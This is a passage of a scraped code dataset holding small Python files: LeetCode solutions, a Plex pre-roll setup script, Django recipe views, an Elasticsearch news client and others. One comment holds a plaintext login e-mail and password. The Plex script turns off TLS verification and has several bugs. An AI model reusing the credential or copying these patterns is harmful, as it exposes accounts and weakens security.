self).step(epoch)","repo_name":"qiaopTDUN/mae-repo","sub_path":"vit_pytorch/warmup_scheduler.py","file_name":"warmup_scheduler.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22996300660","text":"class Solution:\n def depthSum(self,nestedList):\n def getList(list):\n ans = []\n for lt in list:\n ans.append(lt)\n return ans\n\n\n def depth(nestedList):\n curr_depth=1\n for x in nestedList:\n if isinstance(x,int)==False:\n if getList(x):\n curr_depth = max(curr_depth,1+depth(getList(x)))\n else:\n curr_depth = max(curr_depth, depth(getList(x)))\n return curr_depth\n\n def dfs(lt,lvl,max_depth):\n\n ans = 0\n for e in lt:\n if isinstance(e, int):\n ans += int(e) * (max_depth-lvl+1)\n else:\n ans += dfs(getList(e), lvl + 1,max_depth)\n return ans\n\n max_depth = depth(nestedList)\n return dfs(nestedList, 1,max_depth)\n\nX = Solution()\nprint(X.depthSum([1,[4,[6]]]))\n\n# Time Complexity : O(N)\n# Space Complexity : O(N)","repo_name":"anugrah18/Leetcode_solutions","sub_path":"Arrays/364-nestListWeightSumII.py","file_name":"364-nestListWeightSumII.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40606522848","text":"'''\n将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 \n'''\n\nclass ListNode:\n\tdef __init__(self,val,next=None):\n\t\tself.val=val\n\t\tself.next=next\n\t\ndef mergeTwoList(l1:ListNode,l2:ListNode)->ListNode:\n\tif not l1:\n\t\treturn l2\n\tif not l2:\n\t\treturn l1\n\tif l1.val<=l2.val:\n\t\tl1.next=mergeTwoList(l1.next,l2)\n\t\treturn l1\n\telse:\n\t\tl2.next=mergeTwoList(l1,l2.next)\n\t\treturn l2\n","repo_name":"pecanjk/leetcode_solution","sub_path":"21_mergeTwoLists.py","file_name":"21_mergeTwoLists.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"27676755329","text":"# FlowTransformer 2023 by liamdm / liam@riftcs.com\nfrom typing import List\nclass FlowTransformerParameters:\n \"\"\"\n Allows the configuration of overall parameters of the FlowTransformer\n :param window_size: The number of flows to use in each window\n :param mlp_layer_sizes: The number of nodes in each layer of the outer classification MLP of FlowTransformer\n :param mlp_dropout: The amount of dropout to be applied between the layers of the outer classification MLP\n \"\"\"\n def __init__(self, window_size:int, mlp_layer_sizes:List[int], mlp_dropout:float=0.1):\n self.window_size:int = window_size\n self.mlp_layer_sizes = mlp_layer_sizes\n self.mlp_dropout = mlp_dropout\n\n # Is the order of flows important within any individual window\n self._train_ensure_flows_are_ordered_within_windows = True\n\n # Should windows be sampled sequentially during training\n self._train_draw_sequential_windows = False\n","repo_name":"liamdm/FlowTransformer","sub_path":"framework/flow_transformer_parameters.py","file_name":"flow_transformer_parameters.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"67"} +{"seq_id":"46118712068","text":"# idea : 평균 시간이 가장 짧게 되기 위해서는 process time이 가장 작은거부터 처리해야함.\n# 기다리는 놈들은 앞의 놈의 process 타임만큼 waiting time이 더해지는데 이 값이 작을수록 좋기 때문에 작은거부터 처리.\n\nimport heapq\n\n\ndef solution(jobs):\n answer = 0 # total_process_time\n time_now = 0 # time after process\n count = 0 # number of processed unit\n start = -1 # time before process\n heap = []\n\n while count < len(jobs):\n for process_in, process in jobs:\n if start < process_in <= time_now:\n heapq.heappush(heap, [process, process_in])\n if len(heap) > 0:\n process, process_in = heapq.heappop(heap)\n start = time_now\n time_now += process\n answer += (time_now - process_in)\n count += 1\n else:\n time_now += 1\n return int(answer / len(jobs))\n","repo_name":"devery59/Programmers","sub_path":"Lv3/disk_controller.py","file_name":"disk_controller.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22108971742","text":"\ndef create_sub_mat(m,mm,alphabet):\n sm={}\n for c1 in alphabet:\n for c2 in alphabet:\n if (c1==c2):\n sm[c1+c2] = m\n else:\n sm[c1+c2] = mm\n return sm\n\nsub = create_sub_mat(alphabet=\"ACGT\",m=1,mm=0)\ndef read_sub_mat_from_file(filename):\n sm={}\n with open(filename ,\"r\") as blosum62:\n line=blosum62.readline().split(\"\\t\")\n alphabet=[ line[i][0] for i in range(0,len(line))]\n for i in range(0,len(line)):\n ln = blosum62.readline().split(\"\\t\")\n for j in range(0,len(ln)):\n k = alphabet[i] + alphabet[j]\n sm[k] = int(ln[j])\n return sm\n\n\n# read_sub_mat_from_file('./blosum62.mat')\n\ndef score_pos(c1,c2,sm,g):\n if c1 == \"−\" or c2 == \"−\":\n return g\n else:\n return sm[c1+c2]\n \ndef score_al(s1,s2,sm,g):\n res=0\n for i in range(len(s1)):\n res += score_pos(s1[i],s2[i],sm,g)\n return res\n \ndef improved_score_al(s1,s2,sm,g,r):\n res = 0\n in_g1=False\n in_g2=False\n for i in range(len(s1)):\n if s1[i] == \"−\":\n if in_g1 : res+= r\n else:\n in_g1=True\n res += g\n elif s2[i] == \"−\":\n if in_g2 : res += r\n else:\n in_g2=True\n res += g\n else:\n if in_g1: in_g1 = False\n if in_g2: in_g2 = False\n res += sm[s1[i]+s2[i]]\n return res\n\n\n\n\n\ndef test_dna():\n sm=create_sub_mat(m=2,mm=-2,alphabet=\"AGCT\")\n s1 = \"−CAGTGCATG−ACATA\"\n s2=\"TCAG−GC−TCTACAGA\"\n g=-3\n print(score_al(s1,s2,sm,g))\n\ndef test_prot():\n sm= read_sub_mat_from_file(\"./blosum62.mat\")\n s1=\"LGPSSGCASRIWTKSA\"\n s2=\"TGPS−G−−S−IWSKSG\"\n g=-8\n r=-2\n print(improved_score_al(s1,s2,sm,g,r))\n print(score_al(s1,s2,sm,g))\n \n\n\n\ntest_dna()\ntest_prot()\n","repo_name":"medragneel/bioinf","sub_path":"sm.py","file_name":"sm.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40804899523","text":"#!/usr/bin/python\r\nimport subprocess\r\nimport sys\r\ntry:\r\n from plexapi.server import PlexServer\r\n\r\nexcept:\r\n print('\\033[91mERROR:\\033[0m PlexAPI is not installed.')\r\n x = input(\"Do you want to install it? y/n:\")\r\n if x == 'y':\r\n subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", 'PlexAPI==4.2.0'])\r\n from plexapi.server import PlexServer\r\n elif x == 'n':\r\n sys.exit()\r\n\r\nimport re\r\nimport requests\r\nimport yaml\r\nfrom urllib.parse import quote_plus, urlencode\r\nimport datetime\r\n\r\nfrom plexapi import media, utils, settings, library\r\nfrom plexapi.base import Playable, PlexPartialObject\r\nfrom plexapi.exceptions import BadRequest, NotFound\r\n\r\nfrom argparse import ArgumentParser\r\nimport os\r\nimport random\r\nimport pathlib\r\nfrom configparser import *\r\n\r\nprint('#############################')\r\nprint('# #')\r\nprint('# Plex Automated Preroll! #')\r\nprint('# #')\r\nprint('#############################' + '\\n')\r\n\r\n\r\nfile = pathlib.Path(\"config.yml\")\r\nif file.exists():\r\n print('Pre-roll updating...')\r\nelse:\r\n Master = ','\r\n print('No config file found! Lets set one up!')\r\n file1 = open(\"config.yml\", \"w+\")\r\n file1.write(\"Plex: \" + \"\\n\")\r\n x = input(\"Enter your (https) plex url:\")\r\n file1.write(\" url: \" + x + \"\\n\")\r\n x = input(\"Enter your plex token: (not sure what that is go here \"\r\n \"https://support.plex.tv/articles/204059436-finding-an-authentication-token-x-plex-token/): \")\r\n file1.write(\" token: \" + x + \"\\n\")\r\n file1.write(\"MasterList: \" + \"\\n\")\r\n x = input(\"Do you want to enable a Masterlist of Trailers? (Y/N)\")\r\n if x.lower() == 'y':\r\n file1.write(\" UseMaster: \" + \"Yes\" + \"\\n\")\r\n x = input(\"Do you want Plex to play the items in the Masterlist randomly? (Y/N)\")\r\n if x.lower() == 'y':\r\n Master = ';'\r\n file1.write(\" MasterRandom: \" + \"Yes\" + \"\\n\")\r\n else:\r\n Master = ','\r\n file1.write(\" MasterRandom: \" + \"No\" + \"\\n\")\r\n file1.write(\"# If the path for the Master List is left blank the script will create the path \" + \"\\n\")\r\n file1.write(\"# based on if Monthly, Weekly, or Daily are set to be used in the Master List \" + \"\\n\")\r\n file1.write(\"# otherwise you can populate the path with your own set of trailers\" + \"\\n\")\r\n file1.write(\" Path: \")\r\n else:\r\n file1.write(\" UseMaster: \" + \"No\" + \"\\n\")\r\n file1.write(\" MasterRandom: \" + \"No\" + \"\\n\")\r\n file1.write(\" # If the path for the Master List is left blank the script will create the path \" + \"\\n\")\r\n file1.write(\" # based on if Monthly, Weekly, or Daily are set to be used in the Master List \" + \"\\n\")\r\n file1.write(\" # otherwise you can populate the path with your own set of trailers\" + \"\\n\")\r\n file1.write(\" Path: \" + \"\\n\")\r\n file1.write(\"Monthly: \" + \"\\n\")\r\n x = input(\"Do you want to enable Monthly Trailers? (Y/N)\")\r\n if x.lower() == 'y':\r\n print('Make sure plex can access the path(s) you enter!')\r\n x = input(\"Enter the January trailer path(s):\" + \"\\n\")\r\n res = re.split(',|;', x)\r\n file1.write(\" Jan: \" + x)\r\n x = input(\"Enter the February trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Feb: \" + x)\r\n x = input(\"Enter the March trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Mar: \" + x)\r\n x = input(\"Enter the April trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Apr: \" + x)\r\n x = input(\"Enter the May trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" May: \" + x)\r\n x = input(\"Enter the June trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" June: \" + x)\r\n x = input(\"Enter the July trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" July: \" + x)\r\n x = input(\"Enter the August trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Aug: \" + x)\r\n x = input(\"Enter the September trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Sept: \" + x)\r\n x = input(\"Enter the October trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Oct: \" + x)\r\n x = input(\"Enter the November trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Nov: \" + x)\r\n x = input(\"Enter the December trailer path(s):\" + \"\\n\")\r\n res = res + re.split(',|;', x)\r\n file1.write(\" Dec: \" + x)\r\n x = input(\"Do you want to use the Monthly list in the Master list? (Y/N)\")\r\n if x.lower() == 'y':\r\n file1.write(\" MasterList: Yes\" + \"\\n\")\r\n else:\r\n file1.write(\" MasterList: No\" + \"\\n\")\r\n listToStr = Master.join([str(elem) for elem in res])\r\n file1.write(\" MasterListValue: \" + listToStr)\r\n file1.write(\" UseMonthly: Yes\" + \"\\n\")\r\n else:\r\n file1.write(\" Jan: \" + \"\\n\")\r\n file1.write(\" Feb: \" + \"\\n\")\r\n file1.write(\" Mar: \" + \"\\n\")\r\n file1.write(\" Apr: \" + \"\\n\")\r\n file1.write(\" May: \" + \"\\n\")\r\n file1.write(\" June: \" + \"\\n\")\r\n file1.write(\" July: \" + \"\\n\")\r\n file1.write(\" Aug: \" + \"\\n\")\r\n file1.write(\" Sept: \" + \"\\n\")\r\n file1.write(\" Oct: \" + \"\\n\")\r\n file1.write(\" Nov: \" + \"\\n\")\r\n file1.write(\" Dec: \" + \"\\n\")\r\n file1.write(\" MasterList: No\" + \"\\n\")\r\n file1.write(\" MasterListValue: \" + \"\\n\")\r\n file1.write(\" UseMonthly: No\" + \"\\n\")\r\n file1.write(\"Weekly: \" + \"\\n\")\r\n x = input(\"Do you want to enable Weekly Trailers? (Y/N)\")\r\n if x.lower() == 'y':\r\n print('Make sure plex can access the path you enter!')\r\n print(\"Enter the Start Date: \" + \"\\n\")\r\n year = int(input('Enter a year'))\r\n month = int(input('Enter a month'))\r\n day = int(input('Enter a day'))\r\n date1 = datetime.date(year, month, day)\r\n file1.write(\" StartDate: \" + date1 + \"\\n\")\r\n print(\"Enter the End Date:\")\r\n year = int(input('Enter a year'))\r\n month = int(input('Enter a month'))\r\n day = int(input('Enter a day'))\r\n date1 = datetime.date(year, month, day + \"\\n\")\r\n file1.write(\" EndDate: \" + date1)\r\n x = input(\"Enter the trailer path(s):\" + \"\\n\")\r\n file1.write(\" Path: \" + x)\r\n x = input(\"Do you want to use the Weekly list in the Master list? (Y/N)\")\r\n if x.lower() == 'y':\r\n file1.write(\" MasterList: Yes\" + \"\\n\")\r\n else:\r\n file1.write(\" MasterList: No\" + \"\\n\")\r\n file1.write(\" UseDaily: Yes\" + \"\\n\")\r\n else:\r\n file1.write(\" StartDate: \" + \"\\n\")\r\n file1.write(\" EndDate: \" + \"\\n\")\r\n file1.write(\" Path: \" + \"\\n\")\r\n file1.write(\" MasterList: No\" + \"\\n\")\r\n file1.write(\" UseWeekly: No\" + \"\\n\")\r\n file1.write(\"Daily: \" + \"\\n\")\r\n x = input(\"Do you want to enable Daily Trailers? (Y/N)\")\r\n if x.lower() == 'y':\r\n print('Make sure plex can access the path you enter!')\r\n print(\"Enter the Start Date: \")\r\n year = int(input('Enter a year'))\r\n month = int(input('Enter a month'))\r\n day = int(input('Enter a day'))\r\n date1 = datetime.date(year, month, day)\r\n file1.write(\" StartDate: \" + date1 + \"\\n\")\r\n print(\"Enter the End Date:\")\r\n year = int(input('Enter a year'))\r\n month = int(input('Enter a month'))\r\n day = int(input('Enter a day'))\r\n date1 = datetime.date(year, month, day)\r\n file1.write(\" EndDate: \" + date1 + \"\\n\")\r\n x = input(\"Enter the trailer path(s):\")\r\n file1.write(\" Path: \" + x + \"\\n\")\r\n x = input(\"Do you want to use the Daily list in the Master list? (Y/N)\")\r\n if x.lower() == 'y':\r\n file1.write(\" MasterList: Yes\" + \"\\n\")\r\n else:\r\n file1.write(\" MasterList: No\" + \"\\n\")\r\n file1.write(\" UseDaily: Yes\" + \"\\n\")\r\n else:\r\n file1.write(\" StartDate: \" + \"\\n\")\r\n file1.write(\" EndDate: \" + \"\\n\")\r\n file1.write(\" Path: \" + \"\\n\")\r\n file1.write(\" MasterList: No\" + \"\\n\")\r\n file1.write(\" UseDaily: No\" + \"\\n\")\r\n file1.write(\"Misc: \" + \"\\n\")\r\n x = input(\"Do you want to enable Misc (Random with one static trailer) Trailers? (Y/N)\")\r\n if x.lower() == 'y':\r\n print('Make sure plex can access the path you enter!')\r\n x = input(\"Enter the trailer path(s):\")\r\n file1.write(\" Path: \" + x + \"\\n\")\r\n x = input(\"Enter the static trailer path:\")\r\n file1.write(\" StaticTrailer: \" + x + \"\\n\")\r\n x = input(\"Enter the number of trailers to use ex: Path contains 5 trailers you set this value to 2 the \"\r\n \"program will pick two at random as well as the static trailer to play in order:\")\r\n file1.write(\" TrailerListLength: \" + x + \"\\n\")\r\n file1.write(\" UseMisc: Yes\" + \"\\n\")\r\n else:\r\n file1.write(\" Path: \" + \"\\n\")\r\n file1.write(\" StaticTrailer: \" + \"\\n\")\r\n file1.write(\" TrailerListLength: \" + \"\\n\")\r\n file1.write(\" UseMisc: No\" + \"\\n\")\r\n print('config file (config.yml) created')\r\n file1.close()\r\n\r\ndef getArguments():\r\n name = 'Automated-Plex-Preroll-Trailers'\r\n version = '1.1.0'\r\n parser = ArgumentParser(description='{}: Set monthly trailers for Plex'.format(name))\r\n parser.add_argument(\"-v\", \"--version\", action='version', version='{} {}'.format(name, version), help=\"show the version number and exit\")\r\n args = parser.parse_args()\r\n\r\n\r\ndef main():\r\n sort = ','\r\n x = datetime.date.today()\r\n res = \"null\"\r\n #Open config\r\n with open('config.yml', 'r') as file:\r\n doc = yaml.load(file, Loader=yaml.SafeLoader)\r\n if str(doc[\"Monthly\"][\"MasterList\"]).lower() == 'true':\r\n res = re.split(',|;', doc[\"Monthly\"][\"MasterListValue\"])\r\n if str(doc[\"Weekly\"][\"MasterList\"]).lower() == 'true':\r\n res = res + re.split(',|;', doc[\"Weekly\"][\"Path\"])\r\n if str(doc[\"Daily\"][\"MasterList\"]).lower() == 'true':\r\n res = res + re.split(',|;', doc[\"Daily\"][\"Path\"])\r\n if str(doc[\"MasterList\"][\"MasterRandom\"]).lower() == 'true' and res != 'null':\r\n MasterlistToStr = ';'.join([str(elem) for elem in res])\r\n if str(doc[\"MasterList\"][\"MasterRandom\"]).lower() == 'false' and res != 'null':\r\n MasterlistToStr = ','.join([str(elem) for elem in res])\r\n if doc[\"MasterList\"][\"Path\"] is not None:\r\n MasterlistToStr = doc[\"MasterList\"][\"Path\"]\r\n\r\n # Arguments\r\n arguments = getArguments()\r\n #Thanks to https://github.com/agrider for the reordering and error handling for pre-roll paths\r\n if doc[\"Plex\"][\"url\"] is not None:\r\n session = requests.Session()\r\n session.verify = False\r\n requests.packages.urllib3.disable_warnings()\r\n plex = PlexServer(doc[\"Plex\"][\"url\"], doc[\"Plex\"][\"token\"], session, timeout=None)\r\n prerolls = None\r\n if str(doc[\"Monthly\"][\"UseMonthly\"]).lower() == 'true':\r\n prerolls = doc[\"Monthly\"][x.strftime(\"%b\")]\r\n if str(doc[\"Weekly\"][\"UseWeekly\"]).lower() == 'true':\r\n if doc[\"Weekly\"][\"StartDate\"] <= x <= doc[\"Weekly\"][\"EndDate\"]:\r\n prerolls = doc[\"Weekly\"][\"Path\"]\r\n if str(doc[\"Daily\"][\"UseDaily\"]).lower() == 'true':\r\n if doc[\"Daily\"][\"StartDate\"] <= x <= doc[\"Daily\"][\"EndDate\"]:\r\n prerolls = doc[\"Daily\"][\"Path\"]\r\n if str(doc[\"Misc\"][\"UseMisc\"]).lower() == 'true':\r\n if str(doc[\"Misc\"][\"Random\"]).lower() == 'true':\r\n sort = ';'\r\n else:\r\n sort = ','\r\n res = re.split(',|;', doc[\"Misc\"][\"Path\"])\r\n i = 1\r\n while i < int(doc[\"Misc\"][\"TrailerLength\"]):\r\n trailer = trailer + sort + res[random.randint(0, len(res) - 1)]\r\n i += 1\r\n trailer = trailer + sort + doc[\"Misc\"][\"StaticTrailer\"]\r\n prerolls = trailer\r\n if prerolls is None:\r\n if str(doc[\"MasterList\"][\"UseMaster\"]).lower() == 'true':\r\n prerolls = MasterlistToStr\r\n else:\r\n print(\"Error: No video paths configured after applying videos matching today's date and master if enabled!\")\r\n raise Exception(\"No video paths configured after applying videos matching today's date and master if enabled!\")\r\n plex.settings.get('cinemaTrailersPrerollID').set(prerolls) \r\n plex.settings.save()\r\n print('Pre-roll updated')\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"PierreDurrr/rollarr","sub_path":"Plex_Trailers.py","file_name":"Plex_Trailers.py","file_ext":"py","file_size_in_byte":12846,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"28907048354","text":"from collections import defaultdict\nclass Solution:\n def minimumAbsDifference(self, arr: List[int]) -> List[List[int]]:\n arr.sort()\n if len(arr) <= 1:\n return []\n t = defaultdict(list)\n m = float(\"inf\")\n last = arr[0]\n for i in arr[1:]:\n m = min(m, i-last)\n t[i-last].append([last, i])\n last = i\n return t[m]\n","repo_name":"longhao54/leetcode","sub_path":"easy/1200.py","file_name":"1200.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"47254717898","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, HttpResponse, render\nfrom django.urls import reverse\nfrom django.views import generic\n\nfrom django.conf import settings\nfrom django.core.mail import send_mail\n\n\n\nfrom collections import Counter\n\n\nfrom .models import Recipe, Ingredient\n\n\n\ndef IndexView(request):\n\n\t# Number of visits to this view, as counted in the session variable.\n\tnum_visits = request.session.get('num_visits', 0)\n\trequest.session['num_visits'] = num_visits + 1\n\n\n\ttemplate_name = 'recipe_planner/index.html'\n\tcontext = {'latest_recipe_list': Recipe.objects.order_by('last_in_menu'),\n\t\t\t\t'num_visits': num_visits}\n\n\t# control flow for adding ingredients of selected recipes to list\n\trecipes_to_add = request.POST.getlist('recipes_to_add')\n\tingredients_to_add = Ingredient.objects.filter(recipe__name__in=recipes_to_add)\n\tshopping_list = Counter(ingredients_to_add)\n\tcontext.update({'ingredients_to_add': ingredients_to_add,\n\t\t'shopping_list': shopping_list.items()})\n\n\t# for the session shopping_list: work with the names, not the objects\n\tshopping_list_names_counter = Counter([ingredient.name for ingredient in ingredients_to_add])\n\tcurrent_shopping_list_counter = Counter(request.session.get('shopping_list', {}))\n\trequest.session['shopping_list'] = current_shopping_list_counter + shopping_list_names_counter\n\n\n\n\n\n\treturn render(request, template_name, context)\n\n\n\n\n\n\nclass DetailView(generic.DetailView):\n\tmodel = Recipe\n\ttemplate_name = 'recipe_planner/detail.html'\n\n\n\n\n\n\n\nclass IngredientDetailView(generic.DetailView):\n\tmodel = Ingredient\n\ttemplate_name = 'recipe_planner/ingredient_detail.html'\n\n\n\n\n\n\ndef ingredient_list(request):\n\t# list of all recipes to use for multiselect\n\tall_ingredients_list = Ingredient.objects.all()\n\t\n\n\n\t# control flow for searching recipes with selected ingredients\n\tingredient_names = request.POST.getlist('ingredients')\n\n\trecipes = Recipe.objects.filter(ingredients__name__in=ingredient_names).distinct().order_by('last_in_menu')\n\n\tcontext = {'all_ingredients_list': all_ingredients_list,\n\t'recipes': recipes}\n\n\n\t# control flow for adding ingredients of selected recipes to list\n\trecipes_to_add = request.POST.getlist('recipes_to_add')\n\tingredients_to_add = Ingredient.objects.filter(recipe__name__in=recipes_to_add)\n\tshopping_list = Counter(ingredients_to_add)\n\tcontext.update({'ingredients_to_add': ingredients_to_add,\n\t\t'shopping_list': shopping_list.items()})\n\n\t# for the session shopping_list: work with the names, not the objects\n\tshopping_list_names = Counter([ingredient.name for ingredient in ingredients_to_add])\n\trequest.session['shopping_list'] = Counter(request.session.get('shopping_list', {})) + shopping_list_names\n\n\n\n\treturn render(request, 'recipe_planner/ingredient_list.html', context)\n\n\n\ndef shopping_list(request):\n\tshopping_list = request.session.get('shopping_list', {})\n\n\tcontext = {'shopping_list': sorted(shopping_list.items())}\n\n\n\t# get most recent values of ingredients\n\tfor ingredient in shopping_list.keys():\n\t\tnew_amount = shopping_list[ingredient]\n\t\tshopping_list[ingredient] = int(new_amount)\n\n\t# control flow for sending shopping list to email\n\temail_address = request.POST.get('email_address')\n\n\temail_message = ''' Shopping list:\\n'''\n\n\tfor ingredient, amount in shopping_list.items():\n\t\temail_message += '{}x {}\\n'.format(amount, ingredient)\n\n\t# for ingr, amount in shopping_list.items():\n\t# \trecipes_with_ingredient = [r.name for r in Ingredient.objects.get(name=ingr).recipe_set.all() if r.name in recipes_to_add]\n\t# \temail_message += '{}x {} ({})\\n'.format(amount, ingr, ','.join(recipes_with_ingredient))\n\t# email_message += '\\nSelected recipes:\\n'\n\t# for rec in recipes_to_add:\n\t# \temail_message += '{}\\n'.format(rec.title())\n\n\tcontext.update({'email_message': email_message})\n\t\n\tsend_mail(\n\t 'Shopping list',\n\t email_message,\n\t settings.EMAIL_HOST_USER,\n\t [email_address],\n\t fail_silently=False,\n\t)\n\n\treturn render(request, 'recipe_planner/shopping_list.html', context)\n\n\n\n\n\t# # control flow for sending shopping list to email\n\t# email_address = request.POST.get('email_address')\n\n\t# email_message = ''' Shopping list:\\n'''\n\t# for ingr, amount in shopping_list.items():\n\t# \trecipes_with_ingredient = [r.name for r in Ingredient.objects.get(name=ingr).recipe_set.all() if r.name in recipes_to_add]\n\t# \temail_message += '{}x {} ({})\\n'.format(amount, ingr, ','.join(recipes_with_ingredient))\n\t# email_message += '\\nSelected recipes:\\n'\n\t# for rec in recipes_to_add:\n\t# \temail_message += '{}\\n'.format(rec.title())\n\n\t# context.update({'email_message': email_message})\n\n\t# send_mail(\n\t# 'Shopping list',\n\t# email_message,\n\t# settings.EMAIL_HOST_USER,\n\t# [email_address],\n\t# fail_silently=False,\n\t# )","repo_name":"NHameleers/recipe_planner","sub_path":"recipe_planner/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3574078264","text":"# pylint: disable-msg=F0002\nclass ElasticsearchClient():\n\n # es = {}\n # index = \"news\"\n # docType = \"page\"\n\n def __init__(self,\n hosts=[\"localhost:9200\"],\n index=\"news\",\n docType=\"webNews\"):\n from elasticsearch import Elasticsearch\n self.es = Elasticsearch(hosts=hosts)\n self.index = index\n self.docType = docType\n return\n\n def postNews(self, news, index=None, docType=None, id=None):\n import uuid\n if not index:\n index = self.index\n if not docType:\n docType = self.docType\n if not id:\n id = str(uuid.uuid4())\n\n self.es.index(index=index, doc_type=docType, id=id, body=news)\n\n return\n\n def getNews(self, attrs):\n\n return\n\n def hasUrl(self, url):\n searchBody = {\"size\": 0, \"query\": {\"term\": {\"url\": url}}}\n indexPatten = self.index + \"*\"\n res = self.es.search(index=indexPatten, body=searchBody)\n\n hits = 0\n try:\n hits = res['hits']['total']\n except:\n pass\n\n return hits\n\n\n\"\"\"\ncurl -XGET \"localhost:9200/news/_search?pretty=true\" -H 'Content-Type: application/json' -d '\n{\n \"query\": { \"match_all\": {} }\n}'\n\"\"\"\n\n\ndef main():\n from PageScrpyer import PageScrpyer\n scryper = PageScrpyer()\n client = ElasticsearchClient()\n # index = elasticsearch.client.IndicesClient(client.es)\n # settingFp = open(\"es-mapping-news.json\")\n # indexSetting = json.load(settingFp)\n # settingFp.close()\n # index.create(index=\"news\", body=indexSetting)\n # return\n # print(scryper.getIndexList(\n # 'https://ad.toutiao.com/overture/index/account_balance/'))\n # print(scryper.login(user='g07xw6@163.com', passwd='Bonnie123.'))\n # curl -XPUT http://localhost:9200/news -H 'Content-Type:application/json' -d \"@./es-mapping-news.json\"\n # curl -XPOST http://localhost:9200/news -H 'Content-Type:application/json' -d'\n url = 'https://www.centos.bz/2017/10/kubernetes%E4%B9%8B%E6%9A%82%E5%81%9C%E5%AE%B9%E5%99%A8/'\n page = scryper.scrypyURL(url)\n import json\n print(json.dumps(page, ensure_ascii=False, indent=4, sort_keys=True))\n client.postNews(page)\n print(client.hasUrl(url))\n\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"leegggg/newsScrpyer","sub_path":"app/ElasticsearchClient.py","file_name":"ElasticsearchClient.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17660992178","text":"import cs112_s17_linter\nimport math\n\ndef isPerfectNumber(n):\n if n <= 1 : return False\n\n divisorSum = 0\n\n for divisor in range(1, math.floor(n ** 0.5) + 1):\n if n % divisor == 0:\n divisorSum += divisor\n divisorSum += (n // divisor) # Divisors appear in pairs, but we're only\n # picking up the one below the square root.\n\n # Because we're starting division at 1, we're including the pair divisor i.e.\n # n itself in the divisorSum.\n return divisorSum == 2 * n\n\ndef nthPerfectNumber(n):\n found = 0\n guess = 0\n while found <= n:\n guess += 1\n if isPerfectNumber(guess):\n found += 1\n return guess\n\ndef testNthPerfectNumber():\n print('Testing nthPerfectNumber()... ', end='')\n assert(nthPerfectNumber(0) == 6)\n assert(nthPerfectNumber(1) == 28)\n assert(nthPerfectNumber(2) == 496)\n assert(nthPerfectNumber(3) == 8128) # this can be slow\n print('Passed.')\n\n\n#################################################\n# testAll and main\n#################################################\n\ndef testAll():\n testNthPerfectNumber()\n\ndef main():\n bannedTokens = (\n #'False,None,True,and,assert,def,elif,else,' +\n #'from,if,import,not,or,return,' +\n #'break,continue,for,in,while,' +\n 'as,class,del,except,finally,' +\n 'global,is,lambda,nonlocal,pass,raise,repr,' +\n 'try,with,yield,' +\n #'abs,all,any,bool,chr,complex,divmod,float,' +\n #'int,isinstance,max,min,pow,print,round,sum,' +\n #'range,reversed,'+\n '__import__,ascii,bin,bytearray,bytes,callable,' +\n 'classmethod,compile,delattr,dict,dir,enumerate,' +\n 'eval,exec,filter,format,frozenset,getattr,globals,' +\n 'hasattr,hash,help,hex,id,input,issubclass,iter,' +\n 'len,list,locals,map,memoryview,next,object,oct,' +\n 'open,ord,property,repr,set,' +\n 'setattr,slice,sorted,staticmethod,str,super,tuple,' +\n 'type,vars,zip,importlib,imp,string,[,],{,}')\n cs112_s17_linter.lint(bannedTokens=bannedTokens) # check style rules\n testAll()\n\nif __name__ == '__main__':\n main()","repo_name":"theguyoverthere/CMU15-112-Spring17","sub_path":"src/Week2/Practice/nthPerfectNumber.py","file_name":"nthPerfectNumber.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7606694923","text":"import pandas as pd\nimport os\n\n# df_matmult_mem = pd.read_csv(\"../data/matmult-data.csv\")\n# df_matmult_cpu = pd.read_csv(\"../data/matmult-cpu.csv\")\n# df_matmult = pd.merge(df_matmult_mem, df_matmult_cpu, on=['benchmark', 'cpu_lim', 'mem_lim', 'data_size', 'run_no'])\n# df_matmult.to_csv(\"../data/matmult.csv\", index=False)\n\n# df_linpack_mem = pd.read_csv(\"../data/linpack-data.csv\")\n# 